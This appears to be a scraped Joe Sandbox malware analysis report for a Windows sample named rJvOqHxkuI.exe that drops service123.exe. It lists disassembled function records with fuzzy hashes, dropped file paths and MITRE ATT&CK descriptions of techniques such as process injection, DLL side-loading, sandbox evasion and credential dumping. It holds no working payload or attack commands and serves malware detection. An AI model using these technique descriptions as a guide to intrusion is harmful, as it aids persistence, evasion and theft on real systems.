Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction ID: d380604ce03ce7617f41bef14e15b06fe92aa4c922b839542d291811631a1f32
Opcode Fuzzy Hash: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction Fuzzy Hash: 28312876904215CFCB14CF68C1957AAFBF1BF48740F258699D989AB701E734ED44CB90

Function 6C853616 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C853567
fputc.MSVCRT ref: 6C8535D7
memset.MSVCRT ref: 6C853692

Strings

o, xrefs: 6C85362E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction ID: 65567d23e9af7dea31673fcd41c914071b356215297d35756f782037ecad14f8
Opcode Fuzzy Hash: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction Fuzzy Hash: 5C319E76908309CFCB61CF28C280799BBF1BF48340F958A69D989ABB05E774ED15CB40

Function 00B33424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00B3338F
fputc.MSVCRT ref: 00B333F1

Strings

@, xrefs: 00B3342A

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction ID: 0b099de14b3b73f97c418a8c8f2f48dc4148246671c46f225b4cd801c62807a4
Opcode Fuzzy Hash: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction Fuzzy Hash: F011F9B1A042048BCB15CF28C1C47AA7BE1FB45B00F35C599ED899F24ADB34ED40CB49

Function 6C853AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C853A5F
fputc.MSVCRT ref: 6C853AC1

Strings

@, xrefs: 6C853AFA

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction ID: dc87d1359837cd1d1e7aea0deaec974a91b8ad48c8d10c9326566492b7aad453
Opcode Fuzzy Hash: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction Fuzzy Hash: 211124B99056048BCB52CF18C2C07857BF1BF45304FA58A69DD995FB4AD374DC11CB54

Function 00B318B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00B3191E

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00B318FF
Unknown error, xrefs: 00B318B2

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 08625945a99995947248c40489b080ffb2e8fc1b22b74104488fb0a412bd2438
Instruction ID: 74e763e3ba789da407a28feaac81f9db39824f4f3a96802376be9c3d2d336b73
Opcode Fuzzy Hash: 08625945a99995947248c40489b080ffb2e8fc1b22b74104488fb0a412bd2438
Instruction Fuzzy Hash: 80018471408B45DBD700AF15E48841ABFF1FF8A750F664CD8E5C946269DB3298A8CB47

Function 6C8677B1 Relevance: 5.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C8677D3

Part of subcall function 6C8B4050: memcpy.MSVCRT(?,?,?,?,-00000001,?,?,6C8677E6), ref: 6C8B40B3

strlen.MSVCRT ref: 6C867844
strlen.MSVCRT ref: 6C8678B2
strlen.MSVCRT ref: 6C867926

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 1ab2d10be697fa17d65f3dd1b9fbc394c28ac36019979d52b84d4dcd8872857f
Instruction ID: fdce91ac0c42dd07b1b6c2ec796c4763a07ba44893dad230673c9e64d2efc7e6
Opcode Fuzzy Hash: 1ab2d10be697fa17d65f3dd1b9fbc394c28ac36019979d52b84d4dcd8872857f
Instruction Fuzzy Hash: 6A513BB4A05A108FDB11EF29C59865DFBF1FF85304F4189ADD8955F720C775A809CB82

Function 00B36B60 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00B36C81,?,?,?,?,?,?,00000000,00B34F24), ref: 00B36B87
InitializeCriticalSection.KERNEL32(?,?,?,?,00B36C81,?,?,?,?,?,?,00000000,00B34F24), ref: 00B36BC4
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00B36C81,?,?,?,?,?,?,00000000,00B34F24), ref: 00B36BD0
EnterCriticalSection.KERNEL32(?,?,?,?,00B36C81,?,?,?,?,?,?,00000000,00B34F24), ref: 00B36BF8

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: a9701af8e3991e494edcfb7c714a2374e4cf33f84308abfb09910582133f1a42
Instruction ID: e1b825bfb8a411f7974c9ef7c80418e6414558c5adc75d73d0b7789f3e0b51cb
Opcode Fuzzy Hash: a9701af8e3991e494edcfb7c714a2374e4cf33f84308abfb09910582133f1a42
Instruction Fuzzy Hash: 2C1140B15081409ADB10BB3CFAC616EBBE4EB01300F7549A5D982C7254FB71E894CB97

Function 6C858080 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,00000002,?,6C8581A1), ref: 6C8580A7
InitializeCriticalSection.KERNEL32(?,?,00000002,?,6C8581A1), ref: 6C8580E4
InitializeCriticalSection.KERNEL32(?,?,?,00000002,?,6C8581A1), ref: 6C8580F0
EnterCriticalSection.KERNEL32(?,?,00000002,?,6C8581A1), ref: 6C858118

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: a0b374015fe7153fe01541f01391fbd6a45d48ca018c8bb8bb338be5e9ec707b
Instruction ID: 49531338dea4305d5c0b0975958eaee2f353e05dc2920d22d2b1f6a07a1f8de3
Opcode Fuzzy Hash: a0b374015fe7153fe01541f01391fbd6a45d48ca018c8bb8bb338be5e9ec707b
Instruction Fuzzy Hash: 851169B15691048BFF50BB39A6C627A77F0EB06314FA10D2BC451C7644D671D4A4C793

Function 00B32000 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00B321D3,?,?,?,?,?,00B317E8), ref: 00B3200E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00B321D3,?,?,?,?,?,00B317E8), ref: 00B32035
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00B321D3,?,?,?,?,?,00B317E8), ref: 00B3203C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00B321D3,?,?,?,?,?,00B317E8), ref: 00B3205C

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: ea72832f6440ffde9b590761780448b222fcb6561b3e9c06cfac73cfff9516ba
Instruction ID: 1136e71aec12c56526ce310068b4eeef4f365c62a580f9a71b87f82e0b64980a
Opcode Fuzzy Hash: ea72832f6440ffde9b590761780448b222fcb6561b3e9c06cfac73cfff9516ba
Instruction Fuzzy Hash: 3BF0C8765007008FDB107F78E88461E7BF4EF04740F250469DE9457214DB30E80ACBA6

Function 6C84AB50 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C84AB5E
TlsGetValue.KERNEL32 ref: 6C84AB85
GetLastError.KERNEL32 ref: 6C84AB8C
LeaveCriticalSection.KERNEL32 ref: 6C84ABAC

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 492345093be2017d1d2cf67454378ab11d117eecd9f3ac7824f91cb08020021e
Instruction ID: 807a5bcf22926967414e74d7499e6015ae91c5277a846ea9dc9c8d230eb993a0
Opcode Fuzzy Hash: 492345093be2017d1d2cf67454378ab11d117eecd9f3ac7824f91cb08020021e
Instruction Fuzzy Hash: B9F0F4B2A043059FEB10BF7ACAC555B3BB4EB45358B16467CDD844B704D630E508CBA3

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rJvOqHxkuI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rJvOqHxkuI.exe_2b7ecc9df0f1f71a7082319fc60d29ac9dc5b29_410384f6_be9d00cf-efa2-45e1-aecc-85ee243ab56f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13CD.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1535.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1565.tmp.xml

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

C:\Users\user\AppData\Local\Temp\service123.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
rJvOqHxkuI.exe

Function 00B3116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 00B315B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C8414B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C859C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Function 00B381E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116
libraryloaderCOMMON

Function 00B38230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 62
libraryloaderCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre